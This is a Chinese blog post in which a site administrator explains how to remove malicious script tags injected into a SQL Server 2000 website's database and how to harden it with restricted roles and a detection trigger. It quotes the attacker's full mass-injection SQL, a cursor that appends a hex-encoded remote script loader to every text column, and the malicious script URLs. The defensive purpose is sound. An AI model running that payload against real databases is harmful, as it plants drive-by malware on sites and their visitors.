时隔一年之多,最近单位的网站又被挂马了,唉,原因呢?因为单位的破网站还在使用SQL Server 2000的过时数据库,漏洞太多了,这次发现的挂马不是再是<script src=http://3b3.org/c.js></script>了,换成其它两个代码,分别是:<script src=http://jiongjia.com/c.js></script>和<script src=http://shgdjx.com/x.js></script>,人与权、钱的社会,黑客们为了钱什么都干,无奈很多,但是解决问题才是主要的,要不然领导们又该说话了。
首先是清除数据库中所有表的挂马,语句如下:
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000) set @inScript='<script src=http://jiongjia.com/c.js></script>' declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' ) fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor; |
注意:请将上边语句中的红色部分换成你被挂马的代码,然后在查询分析器中执行,记得选择数据库。
下面再来说一下如何防范,系学院转载的内容,大家自己瞧着办。
其实解决的根源还是在代码上经行严格的验证和过滤。只可惜网站群代码实在太多,而且出自不容程序员手笔。所以一时难以从源头彻底根治。只好在从沿途的路径关卡出处处把关。
首先我想到是微软的urlscan。但是仍然失败。urlscan 只是对get进行屏蔽,而对post,cookie无能为力。
后来我在代码处加入了post和cookie的屏蔽,由于对注入的方式方法上缺乏深入的认识,以及代码繁多,仍告失败。
于是我想到在数据库上这个角度对注入经行拦截。传到数据库的注入sql是:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+'])) +cast(0x3c2f7469746c653e3c2f7072653e3e3c736372697074207372633d687474703a2f2f73622e353235322e77733a38382f3130372f312e6a733e3c2f7363726970743e3c212d2d as varchar(67))') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor; |
从中可以看出要执行这段代码,执行该语句所需要的用户权限还是非常大的。可是一般设置的数据库用户的权限,我们给予的数据库角色往往是:public 和 db_owner:
而实际上db_owner的权限实在太大了。大到足以运行以上注入语句。所以得取消db_owner。可是取消db_owner后又权限不够,因为select update这些基本的语句肯定是需要的。
在仔细的研究过sql server的权限控制体系后,我发现如果自己创建用户角色,分配最小的几个语句权限,就能做到量体裁衣,给予最小的权限。那么declare sysobjects syscolumns set exec 这类非常危险的语句也就被禁用了。
方法如下,假设数据库为tempdb:
先执行一下语句,创建角色:
use tempdb
Create ROLE beacoder_role
再分配权限给beacoder_role:
use tempdb
GRANT select TO beacoder_role;
GRANT update TO beacoder_role;
GRANT insert TO beacoder_role;
GRANT delete TO beacoder_role;
注意去掉权限为:REVOKE execute TO beacoder_role;
然后把网站数据库用户假设为tempUser所有的服务器角色去掉,剩public.(有关数据库角色,服务器角色,用户,架构等请查文档)
再在数据库角色那里,去掉所有角色成员,只留下beacoder_role和public
到此为止,上面那段代码即使在页面上被注入,但是提交到数据库的时候已经不起作用了。因为declare sysobjects syscolumns set exec cursor全部没有权限!
但是在赋权的时候我是赋予了update权限,GRANT update TO beacoder_role;所以那段循环所有表所有字段的代码已经没用。但是手工对某个表某个字段进行注入的话,还是没有办法。本篇主要探讨在数据库的角度对sql注入进行屏蔽,所以对这个病毒代码需要对手工的update再次进行屏蔽。
我想到的方法是建立触发器,监视任何的注入病毒特征码,即是:clear3.com/css/c.js
触发器如下:
create trigger [dbo].[beacoder_inject]
on [dbo].[News]
for update
as
begin
declare @in varchar(50)
set @in ='css/c.js'
begin tran
select 1 from inserted where
charindex(@in,lower(title))>0
or charindex(@in,lower(filepath))>0
if @@rowcount>0
begin
raiserror('感谢您为我们做安全检查!',16,1)
rollback tran
return
end
else
begin
commit tran
return
end
print ''
end
上一篇 四种常见网站推广手法简谈